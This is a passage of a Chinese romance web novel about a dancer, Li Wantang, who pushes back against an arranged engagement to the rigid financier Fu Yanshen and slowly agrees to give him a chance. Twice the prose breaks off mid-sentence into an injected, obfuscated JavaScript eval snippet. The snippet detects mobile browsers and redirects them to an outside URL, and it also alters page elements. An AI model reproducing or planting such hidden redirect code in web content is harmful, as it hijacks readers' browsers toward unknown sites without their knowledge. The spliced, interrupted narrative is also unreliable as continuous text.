沈听荷笑着从厨房出来:“没事吃吧,她这两天难得休息,饮食上稍稍放松些,体重不是没变吗?” 听到这话,黎晚棠立马跑去舞蹈房,过了会儿,笑盈盈地跑回来:“嗯嗯,没有,还是九十六斤。” 黎智海低头喝了口豆浆,看向黎晚棠:“棠棠,我跟你傅叔叔商量好了,这个周末我们两家人见一面。” 黎晚棠嘴角笑意在听到这句话后,瞬间消失:“黎总,大早上的,多说些高兴的事,能有益心身健康。” “这就是好事呀,我们两家亲上加亲,你也不用远嫁,还能随时回家。” 黎智海觉得这是最好的结果,他也不用担心失去女儿,两家经常相聚,他还是能时刻看到她。 黎晚棠低头吃着全麦三明治,没再接话。 快吃完时,她才开口:“中午我约了人,就不回来吃饭了。” 黎智海还想问两句,胳膊就被妻子扯了下:“给她点时间,刚开始不能接受很正常。” 黎智海点头,而后又继续吃早餐:“老婆,这馄饨不错,你多吃点。” - 这次出门,黎晚棠特意没化妆,素面朝天地就去了理疗室。 为了让自己形象受损,去餐厅时,她还故意迟到了十几分钟。 傅砚深的时间观念很强,不喜欢迟到早退,这点在他辅导她作业的时候就发现了。 抵达餐厅,黎晚棠刚要询问服务员座位号,一偏头,余光就看见靠窗位置,那道高大挺拔的身影。 不是她视力有多好,而是那个位置,正是昨天她和裴竞洲相亲坐的那桌。 “不用了,谢谢。” 黎晚棠朝服务员笑了笑,径直朝傅砚深走了过去。 高挑的天花板垂下几盏巴洛风格的水晶吊灯,窗外洒入的阳光恰好打在傅砚深侧脸上,头顶的柔光勾勒出他宽阔的肩线。 他目光低垂,整个人板直地坐着,冷峻,疏离,浑身散发着与这格格不入的气质。 白衬衣扣子系到顶端,领带是传统的温莎领打发,此刻他面无表情地靠着椅背,鼻梁上的那副眼镜缀着光,像是来参加学术交流的大学教授。 还未走近,就已经被他沉闷的气息笼罩。 黎晚棠深吸一口气,慢悠悠地走了过去:“不好意思,有点事耽误了。” 傅砚深抬头看她,黑眸里没了昨日的陌生。 “没事。” 黎晚棠扯唇落座时,包包链条不小心打翻餐桌上的糖罐,洒出来的那一瞬,她眸光清楚地扑捉到,傅砚深身体小弧度地往后退了半寸。 而他搭在桌上的手指,也很轻地卷了卷。 周边有服务员听到动静,小跑着过来收拾,傅砚深目光却仍落在打翻的糖罐上。 黎晚棠眼眸微眯,不动声色收回目光,垂眸 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“行,就我们定亲这事你怎么看?”她也懒得装了,身体往沙发背一躺。 傅砚深扫过她脸上表情,语气平淡:“没什么看法。” “什么叫没看法!难道你同意这种封建的包办婚姻?”黎晚棠对于他的淡定,心里彻底没底。 “我尊重长辈的做法,而且我们从小就认识,理论上不存在是包办婚姻,我们对彼此都有基本的了解和熟知。” 傅砚深理性分析,口吻像在谈某个项目。 黎晚棠完全没想到他会这么说,嘴角动了动,气愤抓过一旁的咖啡杯,仰头喝了口。 下一秒,苦涩感瞬间蔓延整个口腔。 她眉头紧蹙,反应过来后想找纸巾吐,发现对面男人正看着她,又硬生生咽了下去。 “苦死了!你还说了解,连我喜欢吃什么都不知道,这就是你所谓的了解和熟悉?” 黎晚棠气极了,傅砚深明显是同意长辈的做法,而且还没有任何意见,任由他们安排。 这样怎么行,没人反抗这事不就成了吗。 “喝杯温水,稀释后会好点。” 面前突然多了杯温水,黎晚棠没好气地瞪了眼他,气呼呼地端起杯子,一口气全干了。 “婚事是爷爷他们定的,作为晚辈要以孝为先,我尊重他们,也是孝顺的一种表现。”傅砚深平静叙述。 黎晚棠放下水杯,又懒洋洋地靠回椅子上,抬眸看他:“傅砚深,听说你现在从事的是金融行业,思想观念应该很超前才对,娃娃亲已经是上个时代的旧观念了,而现在是二十一世纪,我们都应该往前看,不该去遵循那些封建思想。” 等她彻底说完,傅砚深才说出自己的看法:“黎小姐,娃娃亲只是这次事件的由头,我想两家长辈真正的用意不用我说,你也应该清楚。” 黎晚棠眼睫轻眨,顿时被他这话噎住。 清楚,怎么会不清楚。 这两天她父母所表现出来的态度,不想失约是一回事,最主要的原因,他们还是害怕她长大后的离开。 为人父母,特别是父亲,恐怕都难以接受自己养大的女儿,长大后成了别人家的媳妇。 加上她又是家中独女,父母心里的不舍,或许比其他家庭更为严重。 相反,若对方是傅砚深,她不用远嫁,他们的思念之情便能迎刃而解。 因为两家人能经常见面,就像母亲说的,他们之间只是多了张结婚证,其他的不会改变,事业也是如此。 黎晚棠垂下眸,反驳的话一时半会儿说不出来。 现在连傅砚深都同意了,那她再跟他争执下去又有什么意义。 目前来看,她只能另想办法。 恰时,服务员把菜品端上桌,黎晚棠盯着桌前的蔬菜沙拉,龙头鱼豆腐汤和清炒莲藕片,外加一份白灼虾。 营养健康,全是她能吃的饭菜。 黎晚棠刚抬起头,就听到他说:“吃吧,我们还有二十五分钟。” “……” 她心里那点微不足道的动容,顷刻间消失得无影无踪。 黎晚棠拿起筷子,毫不客气地吃了起来。 傅砚深见她动筷,这才开始慢条斯里整理餐具,有条不紊地开动。 此时西餐厅里除了抒情的音乐声,显得格外安静。 黎晚棠余光瞥了眼傅砚深吃饭的样子,仿佛看到了她去世的外公。 动作讲究且老派。 黎晚棠轻眨眼睫收回视线,不敢再看下去,不然还真以为这会儿是在跟她外公用餐。 饭后,两人准时准点走出西餐厅,此刻,并排站在门口的台阶上。 傅砚深偏头看了眼身旁的人,礼貌询问:“我送你?” 4. 第 4 章 室外温度比室内高上几度,热气感扑面而来。 餐厅墙角的那棵绿植缩成小小一团,边缘的叶子被晒得卷起,枝干也软趴趴地垂在一旁。 明明还未正式进入夏季,空气已经让人闷得喘不过气。 那种说不出来的燥热跟黎晚棠此刻的心情一样,事情没谈拢不说,还吃了顿憋屈饭。 二十五分钟,真是不多也不少,她差点是数秒吃完的。 “不用,我有开车。” 黎晚棠拒绝得干脆,甚至都不想多看他一眼,侧身就准备离开。 “黎晚棠。” 男人低沉的声音在耳边响起,严肃且又带着些许清淡的尾音,像极他每次帮她讲完课题,转头询问她听没听懂的场景。 她其实没听懂,但对上他那双平静得让她心虚的眸子,她只能胡乱点头,说听懂了。 然而等他再次拿出那道题要她做的时候,她捏紧笔尖紧张到不知所措,半天写不出一个公式。 “不懂装懂,这就是你的学习方式?” 过了变声期的傅砚深,音色浑厚偏低,当时说话的口吻就跟他们物理老师一模一样。 在那种情况下她脑子更懵了,他说什么都像念经。 时隔多年,这会儿冷不丁听到他喊自己全名,莫名有点像上课被老师点名,黎晚棠身体忽僵。 沉默了好一会儿,她才回头看他:“……还有事?” 傅砚深低声问:“你是不满意我们这段婚姻,所以才和裴竞洲相亲?” 不是质问的语气,反倒像朋友之间的闲聊。 可能是以往留下的阴影太过深刻,黎晚棠其实挺害怕看傅砚深那双黑眸的,明明平静到没有任何波澜,却仍旧能让她心里发紧。 何况相亲这事,她确实心虚。 尽管如此,黎晚棠也不想让他抓到任何把柄,镇定道:“当然不是,在得知有这个娃娃亲之前,朋友就介绍我和裴竞洲认识了,至于见面的时间点,赶巧而已。” 傅砚深盯着黎晚棠稍有闪躲的眼神,眼底早已看透她的心虚,加上昨日他找裴竞洲询问过情况,对于她的谎话,并没揭穿。 他道:“这事我会跟裴竞洲说清楚,他以后不会再来打扰你。” 黎晚棠:“……” 他这是想侧面告诉她,定亲这事不会改变。 黎晚棠深吸了口气,不情愿地嗯了声,再见的话一句没说,转身就往停车场走。 车子刚启动,放中控台的手机响了起来。 黎晚棠低头看了眼,伸手点开扩音。 “你跟傅砚深谈得怎么样,他同意这门婚事吗?”叶知薇迫切的声音在车厢飘荡。 黎晚棠目视前方,双手缓慢转动方向盘,语气有点丧:“他没意见,而且还同意两家长辈这种的做法。” 在意料之中,叶知薇并不惊讶:“看吧,事情跟我猜想的一样,像你这种在地球上即将灭绝的美女,恐怕是个男人都把持不住,傅砚深也不例外。” 她们打小就在一起练舞,黎晚棠脱掉衣服的那具身体有多惊艳,只有她私下最清楚,简直是按黄金分割的完美比例,更是上帝赐予她的无可挑剔。 长腿细腰,肤色莹白,紧致的曲线,性感得无可救药。 更别说她那张无法形容的漂亮脸蛋了。 黎晚棠无视她的打趣,蔫声道:“这事恐怕跟人没关系,估计对方不是我,傅砚深也会同意。” 傅砚深做事守旧固执还不善变通,俗称死板,这或许就是他的生活方式,他只是按照程序走而已。 只是他们太久没见,她把这点给忽略。 “哎,傅砚深若对事不对人,这样就不好办了。”叶知薇轻叹了口气,随即又问:“那我教你出的那些招数,在他面前也没用喽。” “嗯,就如石子投入深潭,连水花都打不起来。” 黎晚棠转动方向盘拐出停车场,缓慢汇入主道,由于前方车流较大,堵了一会儿,才开始挪动。 她跟叶知薇有一搭没一搭的聊着,直到在前方红绿灯停下,她才挂断电话。 黎晚棠指尖搭在方向盘上轻点着,目光盯着前方的秒表器,脑子却在想接下来该怎么办。 恰好这时,微信语音通话忽而响起。 黎晚棠以为是叶知薇还有话没说完,下意识偏头,当看清来电显示,目光愣住。 傅砚深没事跟她打语音电话干嘛? 迟疑片刻,黎晚棠点开接通键:“你……还有事?” “边打电话边开车,会分散大脑的注意力,你这样的驾驶行为很危险。”傅砚深严肃指出:“只要开车,就要严守交通规则。” “……” 黎晚棠愣了两秒,猛然偏头朝西餐厅门口看去。 台阶上,傅砚深单手握着手机,那张过于严肃的脸正对着她这个方向,看来很早就盯着她了。 他只是单单站在那里,不容置喙的气势,隔着距离都能震慑到她这里。 黎晚棠下意识坐直身体,双手规规矩矩握住方向盘,侧头看他的目光也猛然收了回来。 如被长辈警告,目不转睛盯着前方。 做完这一序列动作,她又后知后觉反应过来,他现在跟她打语音电话,不同样是在分散她的注意力吗? 只是没等她开口反驳,傅砚深的声音再度响起:“前方红灯还有五秒,认真开车。” 语音通话挂断,男人声音在耳边消失。 黎晚棠直愣愣望着前方,从红变绿的灯牌那一秒,气得一脚油门冲了出去。 她还没跟他结婚呢,现在就管上了! 这日子没法过! - 在家休息两天,黎晚棠回舞团工作后,生活又回归平静。 每天跟同事们一起优化剧目排练。 她全身湿透从排练厅出来,白露晞小跑着追上她:“你今儿怎么了,刚才闷头加练,这会儿走居然没叫我。” 黎晚棠抬手擦了擦额头细汗,偏头调侃:“看你跟小侯练得挺认真的,我也不好打扰你们呀。” 闻言,白露晞羞赧一笑:“哎呀,我们都练完了,那会儿是瞎闹呢。” 两人边说边进入休息室,黎晚棠翻出衣服就准备去洗澡。 出来时,恰好碰到刚排练回来的温若棠,两人对视一眼,谁都没打招呼。 黎晚棠人缘好,跟舞蹈团所有人关系都不错,唯独跟温若棠不对付,不是她骄傲,而是人家根本不愿意搭理她,她也不是上杆子找虐的人,自然不会热脸去贴温若棠的冷屁股。 白露晞视线在两人身上扫了眼,小跑着跟上黎晚棠的脚步。 “最近她排练得比所有人都晚,想成为首席的决心很强,晚晚,你有没有压力?” “没有。”黎晚棠走进浴室,掀开没人的隔间,挂上衣服开始冲澡:“不过努力是好事。” 白露晞就喜欢她这副自信而又直率的性格,不仅有魅力,还有点拽姐的感觉。 从她进入舞蹈团的第一天,就已经成了黎晚棠的忠实迷妹。 两人简单冲洗完出来,放心换洗衣服,转身去食堂吃饭。 路上,白露晞低声讨论今早舞团发出来的通知。 “咱们舞蹈团下个月要举办一场内部比赛,听说得奖人员可获得一次独舞表演,这可是展示个人能力的时候,作品若能被更多人看到,不仅能提高知名度,还会获得更多表演机会。” 她偏头去问黎晚棠:“温若棠最近这么努力,你说她是不是奔着独舞去的?” 进入食堂,黎晚棠拿过餐盘,低头开始挑选要吃的菜:“她的事,你怎么老来问我?” 白露晞也跟着拿过餐盘:“哎呀,我这不是在跟你分析她的情况吗,而且咱们舞团里,温若棠就是你最大的竞争对手,我们这叫知彼知己,才能百战不殆。” 黎晚棠失笑,端着餐盘找到一处靠窗的位置坐下:“做好自己就行了,有时间去研究别人,还不如把那些时间放在训练上。” “晚晚你思想觉悟真高,不愧是我偶像。” 白露晞端着餐盘小跑到她对面坐下,余光瞥见她餐盘旁的紫色黑加仑,眼眸忽睁:“巡演刚结束就这么放肆,心情不好?” 刚开始她以为黎晚棠只是单纯喜欢吃糖,后来时间长了才知道,她吃甜食很有讲究,她会根据情绪分类糖果。 比如吃粉色草莓糖就是开心,蓝色薄荷就是紧张,紫色黑加仑就是生气。 现在见她放入嘴里的黑加仑软糖,看来是遇到不开心的事了。 黎晚棠低头咀嚼着糖果,筷子在餐盘里漫不经心搅拌着:“是遇到点心烦的事,还愁人。” 两家见面的时间所剩不多,可她还是没想到解决的办法。 白露晞往嘴里塞了块豆腐,抬眸问:“工作上的,还是生活上的?” 黎晚棠端起旁边的温水喝了口,目光直勾勾盯着白露晞,扯唇笑道:“露晞,探索欲望太强可不是件好事,难道你不清楚,秘密知道得越多,就越会有生命危险吗?” 白露晞立马闭嘴,知道她是不想说,忙转移别的话题:“我惜命,快吃饭吧。” 两人话题刚停,罗恩就拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078789|179342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着几盒膝盖贴膏走了过来:“晚棠,你上次不是说这款膏药断货了吗,我休息的时候跟朋友出去吃饭正好看到了,就给你带了两盒,你先用着。” 罗恩是他们舞蹈团的首席男舞者,平日跟黎晚棠合作的舞蹈动作比较多,两人又是同一个学校出来的,关系还不错。 大家都能看出来,罗恩喜欢黎晚棠,平时对她的关心还不少。 黎晚棠拿起药膏看了眼,笑着感谢:“谢谢师哥,有空我请你吃饭。” 有来有往,她不喜欢欠谁人情。 罗恩笑了下,示意她们继续吃饭,便回到原来的餐位上。 等人走后,白露晞似笑非笑地朝黎晚棠挑眉,特意压低声道:“晚晚,罗前辈对你的心思越来越明显了,我看这药膏可不是顺便买的,估计是他特意去找的。” 黎晚棠横她一眼,低头继续吃饭:“我跟师哥纯友谊,你别瞎想那些有的没的。” “这可不是我瞎想,罗前辈的行为很明显好吧,是你没留意而已。” 白露晞吃了口青菜,又笑眯眯地说:“不过,你们俩的高颜值挺般配的,并排站在一起还特养眼,很有CP感。” 黎晚棠无情打破她的幻想:“咱们舞团的小花和小黄我看着也挺般配,你要实在没有磕的对象,磕它俩也不错。” 白露晞差点没把进嘴里的菜喷出来,忙抽出纸巾擦嘴。 黎晚棠说小花是只花猫,小黄则是条斗牛犬,它俩没事就喜欢混在休息室里约会。 “算了,我目前还没有那方面的癖好。”白露晞把菜吃完,瞥了眼黎晚棠那张漂亮的脸蛋,没忍住又嘀咕:“其实感情是可以培养的,如果你对罗前辈不反感,强烈建议你试试。” 见黎晚棠甩过来一记刀眼,白露晞笑哈哈地端起餐盘,准备跑路:“晚晚,我吃饱了,你慢用。” 看着她一溜烟跑远,黎晚棠无奈地弯唇笑了。 她低头继续吃菜时,余光扫过桌上那几盒药,眸光顿了顿。 罗恩对她的特别照顾,黎晚棠当然知道,只是大家都在一个舞团里,她不想把关系搞尴尬,所以装不知道而已。 但刚才白露晞有句话说得对,感情是可以培养的。 她虽然不喜欢罗恩,但对他也不反感,而且他们俩的职业也合适,团里很多同事都找了同行。 真要试试,也不是不可以。 心里一旦冒出某种想法,就会控制不住想去实现。 黎晚棠趁下午排练结束,主动请罗恩吃饭,除了还人情,也是想单独跟他相处看看。 罗恩得知还挺高兴的,两人换下舞蹈服,找了家附近的轻食餐厅。 “师哥,随便点啊,跟我别客气。”黎晚棠把菜单递给他。 罗恩笑了下,确实没客气,但点的都是黎晚棠喜欢吃的食物。 黎晚棠端起水杯扫了眼,并不出声制止。 “晚棠,你以后别跟我客气,你平时不也给我送冰袋吗。”罗恩点完餐后,抬头看向她。 “就是吃个饭,反正我也要吃的。”黎晚棠笑着放下杯子,试图找别的话题:“师哥,我刚刚看你排练时,踏步反转的动作很稳,你平时都是怎么练习的?” 话题聊到舞蹈上,罗恩的话就更多了,他把每个动作讲解得非常详细,没私藏经验,全部告知。 黎晚棠听得津津有味,也格外认真,有时候还抬手比划两下。 事实证明,彼此拥有有共同话题的人,聊得是比较投机。 不过也仅限于此,除了这个,黎晚棠找不到任何心动的感觉。 罗恩各方面都很优秀,事业发展和经济条件都很好,可除了好,也就只剩好了。 饭后,罗恩提出要送她回家。 黎晚棠没拒绝,可能在她潜意识里,还不想那么快就放弃。 过了高峰期,这个点不堵车,一路畅通无阻。 半个小时后,车子平稳停在她家别墅门口。 黎晚棠推门下车,侧身跟罗恩打招呼:“师哥,我到了,你回去开车注意安全。” “嗯,今晚谢谢你的晚餐,下次我请你。”罗恩眉眼间都是笑意。 黎晚棠轻笑:“哎呀,客气啥。” 话落,两人挥手告别,黎晚棠等他车尾灯彻底消失不见,这才转身往院门口走。 只是还没走两步,抬眸时不经意瞥见不远处,隐藏在黑暗中的那道身影,她脚步倏地停住。 等看清人后,心惊胆战地抬手拍了拍胸口。 那道身影不是别人,正是她娃娃亲对象。 傅砚深。 5. 第 5 章 昏暗的路灯下,男人身形笔挺如松,抬头看过来的眉眼平静,气质淡然。 从他脚尖平齐的站姿来看,不像是刚来,倒像是等了一会儿。 所以,刚才她和罗恩挥手告别的画面,他尽收眼底。 黎晚棠暗暗咂舌,心想她每次要找个人挡箭牌时,都能被他抓包,运气也真够衰的。 收回思绪,她又往前走了两步,站定在傅砚深面前:“你怎么在我家门口?” 傅砚深垂眸,目光端然地看着她:“有人给我爸送了两箱螃蟹,我妈让我送一箱过来。” 以往两家有什么好东西,都会相互送上门,但跑腿的人从来不是他,这次如果不是母亲指定,他或许也不会出现在她家门口。 更不会看到,其他男人送她回家的画面。 临出门时,母亲还千叮万嘱:“你性格沉闷,思想古板又没什么情趣,如果再不主动点,像棠棠那么乖巧漂亮的媳妇,就算有我们家长推波助澜,人家也不会跟你。” “你身上本来就没什么优点,如果再不去刷刷你那张勉强能看的脸,估计棠棠都要把你忘全了。” 宋徽因见人还板板正正整理衣袖,气得把他往外推:“行啦,又不是要你接待什么国家委员,就日常串门儿,穿随意点好。” 关门时,她又不放心叮嘱:“记得嘴巴放甜点,别送完东西就着忙回来,你可以跟棠棠爸妈聊聊天,要是能碰到棠棠,跟人小姑娘多说两句话,关心关心她的工作。” 两家路程不远,二十几分钟的路程,给他开门的是黎晚棠爸妈。 她在舞蹈团,还没回来。 傅砚深听了母亲的话,跟两位长辈多聊了会儿,眼看九点半没见黎晚棠,他起身告别。 走到院门口,他侧身准备离开时,恰好碰到黎晚棠从车里下来。 送她回来的是一名男性,从两人聊天中能看得出关系不错,这样的画面,霎时让他想到上次碰见她和裴竞洲相亲的情景。 本要转身的步伐倏地停了下来,他静静站在门口,等黎晚棠发现。 “哦,你这是要回去了。” 黎晚棠瞥见他不远处的那辆车,扯唇客套道:“那你路上注意安全。” 说完,她就准备越过他进入院子,傅砚深低沉的声音乍然响起:“这也是之前安排好的相亲?” 黎晚棠脚步忽顿,握住包带的指尖无意识紧了几分,虽然不是相亲,但意思也差不多。 沉默片刻,她偏头看他,坦诚道:“没有,他是我们舞蹈团的同事,吃完饭顺路送我回来。” 傅砚深的情绪是真稳定,起码透过灯光,她仍看不出他平淡的脸上有什么波澜,让人猜不透他是生气还是不生气。 以为话题就此结束,傅砚深却再次开口:“以其盲目找人帮忙,还不如坦然接受,或许,我也没你想得那般洪水猛兽。” 黎晚棠眼眸微睁,甚至有些无措地眨了下眼睫。 所以他早就看破了她的心思,只是没当面拆穿她而已。 她低头舔了舔唇,索性不再隐瞒:“没洪水猛兽那么严重,但很明显,我们性格不合。” 傅砚深侧身正对着她,幽深的眸子藏于黑暗之中,语气平静:“适不适合,只有接触后才知道,你仅凭年少时的记忆就对我作出否定,这似乎对我不公平。” 黎晚棠:“……” 他们又不是在谈项目,更不是比赛,谈什么公不公平? “显而易见的问题,无关少年时的记忆。”黎晚棠嘴硬反驳。 再说,他们年少时的记忆有过美好吗? 全是些不堪回首的事。 傅砚深皱眉沉默了半秒:“所以,性格不合,是你排斥这门婚约的直接原因。” 问题被他一针见血的指出,她神色微愣。 原来他都清楚。 其实不合适的地方还有很多,但黎晚棠不想太详细的去解释,胡乱点头:“对呀,性格不合就很重,结婚是要过一辈子的,如果只想凑合,那生活在一起还有什么意义。” 傅砚深抓住她话里的漏洞,直言:“既然如此,那就请黎小姐给我们一个和平共处的机会,用此来证实,我们是否合适。” 黎晚棠猛然抬头,目光直直撞进他那双深邃的黑眸。 夜色里,傅砚深表情认真,刀锋般的侧脸轮廓在眼角眉梢处柔化。 她甚至能清楚看到,他下巴左侧那颗淡痣泄露出的些许活气。 这是她以往从未见过的一种神情。 所以,傅砚深是在主动争取这段婚姻? - 开门进屋,父母看到她回来有些惊讶。 “以为你不回来呢。”有时候加班太晚,她会直接住舞蹈团里。 沈听荷上前接过她手里的背包,偏头去看了眼门外:“砚深今晚过来了,你们在门口碰见没?” 黎晚棠点头:“嗯,碰见了。” 沈听荷往她身后看了看:“怎么没把人叫进来坐坐,你们都好多年没见了,正好叙叙旧。” 黎晚棠换上拖鞋往客厅走,扯唇跟坐沙发上的黎智海打了声招呼后,懒洋洋地落坐在他旁边:“你们不都招待完了吗,我还把人叫进来干嘛。” 沈听荷也走过来:“你这孩子,自从砚深帮你补完高考课题,这些年可没单独来过咱家,他这次过来送螃蟹,主要目的是为了什么,我跟你爸都清楚。” “你不在家就算了,现在回来,怎么着也要跟人家好好聊聊。” 黎智海也很满意傅砚深这次上门的态度,点头附和:“砚深这孩子是真不错,知识面广,对于投资的方向把控也很准确,以后有他照顾你,爸爸没什么不放心的。” 没想到傅砚深上门送箱螃蟹,就彻底把二位俘获了。 他们现在是看未来女婿,越看越满意。 黎晚棠抬手揉了揉眉心,故作疲惫:“嗯,以后有的是时间见面。” 刚刚在门口,她被傅砚深那双眼神盯得发紧,紧张下,糊里糊涂就答应了他的提议。 可刚转身进入院子,她就开始后悔了。 她干嘛要答应他呢? 她明明可以拒绝的! “时间不早了,你赶紧上楼洗澡休息吧。”沈听荷看了眼墙上时钟,催促她回房。 黎晚棠等的就是这句话,笑着跟父母说了句晚安,起身蹭蹭蹭跑上楼。 进入卧室,她走到窗前刚要拉上窗帘,余光瞥见院门口那辆黑色轿车,眸色微顿。 傅砚深怎么还没离开? 她回头看了眼还未开灯的房间,猛然明白什么,快速将灯全部打开,不一会儿,楼下那辆车就有了动静。 黎晚棠看着消失不见的车尾灯,一把将窗帘全部拉上,转身进入衣帽间。 离家就这两步路,她还能出什么事,傅砚深未免也太草木皆兵了。 次日,黎晚棠刚从排练厅出来,就被团长叫去办公室。 “晚棠,歌舞团下个月举办的内部比赛,都清楚了吧。”苏清走到沙发旁,抬手邀请黎晚棠落坐:“这次比赛的曲目选定了吗?” “还没来得及选,但我偏向于身韵。” 得知有内部比赛,黎晚棠第一想法就是跳身韵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078790|179342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她清楚自己的优势在哪里。 闻言,苏清嘴角溢出笑容:“晚棠,你能选身韵我很高兴,你基本功扎实,身体的柔软度也强,跳身韵确实合适你一些。” 她抬手拍了拍黎晚棠的肩膀,笑着鼓励:“这次比赛好好准备,争取能创排一段自己的独舞作品。” “好的团长,我会努力。”她笑着点头。 黎晚棠出来时,恰好在门口碰温若棠。 两人对视一眼,她刚要迈步离开,温若棠偏头喊住她。 “这次我会拼尽全力。” 黎晚棠脚步顿住,片刻,转身回视她:“哦,我不是团长,你不用向我汇报你私下有多努力。” “你、你别得意。” 温若棠就是看不惯黎晚棠那副骄傲自满的模样,每次她说什么,她都是毫无在意,显得她像个小丑:“独舞的名额肯定是我的。” 黎晚棠笑了下,转身头也不回地离开:“那祝你好运喽。” 白露晞见她回来,忙问:“温若棠跟你说什么了,看着表情不是很好?” 黎晚棠瞧见她眼底涌出的八卦,觉得好笑:“她甩出句狠话,我没接住,气着了。” 白露晞噗嗤笑了起来,挽着她的胳膊往休息室走:“她真是次次碰壁,次次勇,我真服了她这种毅力。” 黎晚棠不在意的笑了笑,两人洗完澡就去了食堂。 只是刚坐下不久,罗恩端着餐盘走了过来:“这里还没人坐吧。” 白露晞笑着打招呼:“没有,罗前辈请坐。” 罗恩客套点头,把餐盘放黎晚棠对面,拉开椅子坐下:“晚棠,团长找你是聊这次比赛的事吧。” 黎晚棠点头,知道他肯定还有话要说,笑问:“师哥想说什么?” 罗恩坦言:“温若棠邀请我当她这次比赛的舞伴。” 他顿了下:“但我还没有答应,如果你有需要,我可以陪你排练。” “不用的师哥,我这次想跳身韵,不需要舞伴。”黎晚棠吃了口菜,笑着感谢:“不过,我还是要谢谢你的好意。” 难怪温若棠刚刚会跟她说那种话,原来是邀请了师哥,但师哥没给她正面答复,估计温若棠认为是因为她。 罗恩嘴角笑意收敛:“行,你这边不需要帮忙,那我就同意她了。” “好。” - 市中心,君安国际顶楼办公室。 “傅总,这是锐星科技的收购文件,细节方面项目经理已经跟对方负责人谈好了,签约收购的仪式需要您亲自出席。” 傅砚深接过文件,低头翻看:“具体时间安排在哪天?” 萧仲知道傅总做事严谨,讲究效率,时间能按分秒计算,他多次跟对方确定好日期,才敢过来汇报。 “明天下午两点,我定了上午十点的机票。” 傅砚深翻文件的手顿住,幽深的黑眸不知在想些什么,过了好一会儿,才出声:“嗯,你把需要用到的资料准备好。” 萧仲不清楚傅总刚才的停顿是什么意思,若有所思地点头,转身关门离开。 等人出去,傅砚深瞥了眼电脑右下角时间,猜想这个点,黎晚棠应该刚吃完午饭。 思索两秒,他抬手把桌上的手机拿了过来。 黎晚棠正准备午休,手机界面突然弹出一条信息。 看到这个微信头像,她愣了下。 傅砚深:【今晚需要加班吗?】 黎晚棠挑眉,不明白他问这个干嘛:【没有,你有事?】 傅砚深:【就提前跟你说一声,下班我过去接你。】 6. 第 6 章 黎晚棠没料到他的执行力那么快,昨天才说要多接触,今天就开始行动了。 尽管不需要,但昨晚都同意了,她也没过多纠结。 黎晚棠:【好。】 丢下手机,她侧身扯过抱枕夹在腿间,闭眼很快就睡了过去。 下午的排练有几个大跳跃没做好,黎晚棠留下来多练了一个小时。 完全把傅砚深要过来接她的事忘脑后,最后还是白露晞兴冲冲跑过来,她才停止排练。 “晚晚,登记台那边说有人找你。”白露晞朝她挤眉弄眼,笑道:“我好奇过去看了眼,原来是个眼生的帅哥。” 听到这话,黎晚棠擦汗的动作顿住,而后转身就往休息室走。 “这帅哥我头一次见,是你家亲戚吗?” 白露晞快步追了过来,嘴里叨叨不停:“这会儿下班的同事还不少,路过的都要回头看他一眼,不知道还以为是哪个男明星,常演霸总的那种。” 黎晚棠试想了下那个画面,弯唇笑了:“不是亲戚,但确实是霸总。” 就傅砚深那副精英作派的打扮,搭配那张不苟言笑的脸,高大挺拔的身材,确实很像。 “呀,我眼光真好,一眼就看出他的本质。”白露晞弯唇沾沾自喜。 见黎晚棠拿衣服准备去洗澡,白露晞才挥手告别,而后快步转身往外走,打算再去看几眼,最好能偷拍几张帅照。 洗完澡出来,黎晚棠随手扎了个丸子头,素着一张脸走了出去。 路上她看了眼手机,并没有傅砚深的催促信息。 她还没走出舞团,透过玻璃就看见站在花坛旁的男人。 夕阳余晖顺着他的肩线流淌,眉骨投下的阴影将他深邃的眼眸藏于暗处,只有鼻梁上那副金边眼镜,反射出几抹淡淡的橘光。 他逆光而立,有微风袭来,把他那道身影吹得斜长。 察觉她的出现,男人忽而掀眸朝她看了过来,瞳眸是纯粹的黑,看人时会带着一丝压迫感,让人无法忽视。 黎晚棠加快脚步,小跑来到他跟前:“到了怎么没给我发信息?” “以你的方便为准,你忙完自然会出来。” 傅砚深垂眸,望着眼前的女孩。 纯素颜的一张脸,五官精致小巧,皮肤莹白,简单的丸子头把她实际年龄又拉小了好几岁。 这么看着,她跟高中时期好像没什么变化,就是下巴尖了些。 这会儿应该是刚洗完澡,耳侧沁湿的碎发还贴在脖颈上,看似出来的急,还来不及擦干。 黎晚棠余光瞥见逐渐走出来的同事,路过时,都会回头看他们一眼。 不过落在傅砚深身上的目光偏多。 她不自在地侧身遮挡,抬眸问:“你车停哪了?” 傅砚深不介意旁人的目光,语气平静淡然:“你们舞团的停车场。” 黎晚棠错愕睁眼:“你还能停哪?” 他们舞团的停车位紧张,有演出的时候好点,没演出下班时间早,大多数都是开车上下班。 有多个车位是占着不开,而且还不对外开放。 傅砚深见她迈步,抬脚跟上:“嗯,我以家属的名义停的。” 家属? 他未免想得太多了吧。 黎晚棠忽而回头,不满地看着他:“傅砚深,请注意你的措辞,我们婚都没订呢,你用家属这词还尚早。” 他还真好意思。 傅砚深跟在她身后,面不改色地陈述:“早晚的事,我让管理员登记好车牌号,也方便日后我过来接你。” “你还来?” 黎晚棠走了两步又倏地停了下来,她仰头定定望着眼前男人,从他此刻的言行举止来看,多半是已经把自己代入成丈夫的角色。 完全不像他说的,是正在接触。 傅砚深认真反问:“婚后,你希望我对你不管不顾?” “……” 